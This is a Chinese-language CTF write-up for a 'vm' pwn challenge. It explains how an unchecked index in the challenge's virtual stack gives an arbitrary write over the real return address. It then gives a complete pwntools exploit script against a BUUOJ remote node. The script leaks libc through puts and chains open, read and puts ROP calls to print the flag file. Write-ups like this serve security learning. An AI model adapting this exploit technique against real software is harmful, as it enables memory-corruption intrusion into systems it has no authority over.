vm
这道题就是弄了一个vm,然后根据输入的code, 执行相应的操作
我的理解是 相当于在函数栈里伪造一个虚拟栈,又伪造了栈顶指针,然后在这个虚拟栈里你可以进行一些操作,如add(将栈顶两个元素相加),push,pop等,然后有时候由于检验不当,就会造成越界,导致原本操作只是在虚拟栈里变成了可以影响实际函数栈的数据,相当于可以劫持RBP,RET,如果能做到这一步,接下来就是常规的ROP了
这是add指令,stack[r_sp+1000]就相当于栈顶
push指令更好理解
注意到下面这两处
这两个指令意思相差不多,都可以越界写,我们以第一个指令为例子
这里的 v31 = buf[buf_index] ,而buf[buf_index]是我们自己控制的,也就相当于我们可以控制
stack[v31 +999]指向任意地址处,因为c语言中并不会对数组越界进行检查,我们大可以构造如stack[5000] 或者 stack[-5000],就可以通过算偏移得出stack[num]中的num(stack一个元素为四个字节大小),然后stack[r_sp + 1000] 是栈顶数据,我们可以通过push指令给它赋任意值
综上,我们就可以往任意地址写任意数据,通过调试我们就可以得到实际函数栈中的RET地址距stack[]的偏移,从而我们可以覆盖RET,实现ROP,从而get shell或者orw
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#r = gdb.debug("./hh",'break main')
#r = process('./hh')
r = remote("node3.buuoj.cn", 27223)
elf = ELF('./hh')
pop_rdi = 0x4011A3
main = 0x000000000401084
buf = 0x602060
read = 0x0000000000400710
pop_rsi_r15 = 0x0000000004011A1
puts_plt = 0x4006f0
puts_got = 0x601FA8
start = 0x400750
def code(cod):
out1 = b''
for i in cod:
out1 += p32(i)
return out1
def stack(buf):
out2 = b''
for i in range(len(buf)):
out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
return out2
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
payload1 = stack([pop_rdi,puts_got,puts_plt,start])
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recv()
libc_base = u64(r.recvline()[:-1].ljust(8, b'\x00')) - 0x06f6a0
log.info(hex(libc_base))
open_addr = libc_base + 0xF70F0
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
payload1 = code([6 , 4 , 0x67616c66, 0]) + stack([pop_rdi, buf+8 , open_addr ,start])
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
payload1 = stack([pop_rdi ,3 , pop_rsi_r15 , buf + 0x500 , 0 , read , start])
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
payload1 = stack([pop_rdi , buf + 0x500 , puts_plt , start])
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recv()
r.interactive()
脚本的重点是
def code(cod):
out1 = b''
for i in cod:
out1 += p32(i)
return out1
def stack(buf):
out2 = b''
for i in range(len(buf)):
out2 += code([ 9 , buf[i]&0xffffffff , 12 , i * 2 + 1007 , 9 , buf[i] >> 32 , 12 , i * 2 + 1008])
return out2
stack函数中的1007就是调试出来的偏移,9是push指令,12是越界写,由于一次只能写4字节,所以得分两次写